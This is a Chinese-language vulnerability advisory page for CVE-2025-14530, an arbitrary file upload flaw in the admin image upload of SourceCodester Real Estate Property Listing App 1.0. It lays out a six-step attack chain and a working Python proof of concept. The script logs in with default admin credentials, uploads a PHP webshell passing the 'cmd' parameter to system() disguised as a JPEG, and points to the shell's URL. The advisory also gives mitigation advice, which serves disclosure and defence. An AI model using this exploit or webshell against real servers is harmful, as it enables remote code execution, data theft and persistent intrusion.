IPBUF安全漏洞报告
English
CVE-2025-14530 CVSS 4.7 中危

CVE-2025-14530 SourceCodester房产列表应用任意文件上传漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-14530
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Real Estate Property Listing App 1.0

相关标签

任意文件上传CVE-2025-14530SourceCodesterReal Estate Property Listing App远程代码执行Web应用安全PHP漏洞权限绕过

漏洞概述

CVE-2025-14530是SourceCodester公司开发的Real Estate Property Listing App 1.0版本中存在的一个中等严重性安全漏洞。该漏洞位于管理后台的property.php文件处理图片上传的功能中,由于对用户上传的文件缺乏充分的类型验证和内容检查,攻击者可以绕过安全限制,上传任意类型的恶意文件到服务器。攻击者成功利用此漏洞可以在目标服务器上执行任意代码,从而可能导致服务器被完全入侵、敏感数据泄露、网站被篡改等严重后果。该漏洞需要管理员权限才能利用,但由于认证要求为高权限,攻击面相对有限,但仍需引起重视并及时修复。

技术细节

该漏洞存在于/admin/property.php文件中的图片上传处理逻辑。漏洞的根本原因是应用程序在处理image参数时,未对上传文件的 MIME 类型、扩展名和内容进行严格的验证。具体表现为:1) 服务器端未校验Content-Type头是否属于允许的图片类型;2) 未验证文件扩展名是否为常见的图片格式(如.jpg、.png、.gif);3) 未检查文件内容(Magic Bytes)以确认文件真实类型;4) 未对上传文件重命名以防止恶意文件名绕过。攻击者可以通过构造包含PHP代码的文件(如shell.php),修改Content-Type为image/jpeg或image/png,然后通过multipart/form-data方式发送到/admin/property.php接口,即可成功上传恶意文件。上传成功后,攻击者通过访问上传文件的URL即可在服务器上执行任意PHP代码,实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用为SourceCodester Real Estate Property Listing App 1.0,并定位到/admin/property.php文件的上传功能入口点
STEP 2
步骤2: 认证获取
攻击者通过社会工程、暴力破解或已泄露的凭据获取管理员账户访问权限(该漏洞需要PR:H高权限)
STEP 3
步骤3: 恶意文件构造
攻击者构造包含PHP代码的恶意文件(如webshell.php),并修改其Content-Type头为image/jpeg以绕过客户端初步检测
STEP 4
步骤4: 文件上传
攻击者通过multipart/form-data方式向/admin/property.php发送恶意文件,image参数包含webshell内容
STEP 5
步骤5: 恶意代码执行
服务器将恶意文件保存到可访问目录,攻击者通过HTTP请求访问该文件,传入cmd参数执行任意系统命令
STEP 6
步骤6: 持久化控制
攻击者利用webshell建立持久化访问通道,可进一步进行内网渗透、数据窃取或安装后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14530 PoC - Arbitrary File Upload in SourceCodester Real Estate Property Listing App 1.0 # Target: /admin/property.php # Vulnerability: Unrestricted file upload via 'image' parameter TARGET_URL = "http://target.com/admin/property.php" UPLOAD_URL = "http://target.com/admin/property.php?action=add" LOGIN_URL = "http://target.com/admin/login.php" # Malicious PHP webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit(): """ Exploitation steps: 1. Authenticate to admin panel with valid credentials 2. Upload malicious PHP file disguised as image 3. Access uploaded file to execute commands """ session = requests.Session() # Step 1: Login to admin panel login_data = { 'username': 'admin', 'password': 'admin123' } try: login_response = session.post(LOGIN_URL, data=login_data, timeout=10) if 'dashboard' not in login_response.text.lower(): print("[-] Login failed. Check credentials.") return False print("[+] Login successful") # Step 2: Upload malicious file files = { 'image': ('shell.php', webshell, 'image/jpeg') } data = { 'title': 'Test Property', 'description': 'Test Description', 'price': '100000', 'submit': 'submit' } upload_response = session.post(UPLOAD_URL, files=files, data=data, timeout=10) # Step 3: Extract uploaded file path (may vary based on application logic) # Check response for success message or uploaded file path if upload_response.status_code == 200: print("[+] File upload request sent") print("[*] Check for uploaded shell at: /uploads/shell.php or /admin/uploads/shell.php") print("[*] Access shell: http://target.com/uploads/shell.php?cmd=whoami") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-14530 PoC - Real Estate Property Listing App File Upload") print("=" * 60) exploit()

影响范围

SourceCodester Real Estate Property Listing App 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制/admin/property.php的访问IP,仅允许内网可信IP访问;2) 启用Web应用防火墙(WAF)规则检测异常文件上传行为;3) 临时关闭图片上传功能直到漏洞修复;4) 监控服务器文件系统变化,及时发现异常文件创建;5) 增强管理员账户密码强度,防止凭据被盗用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表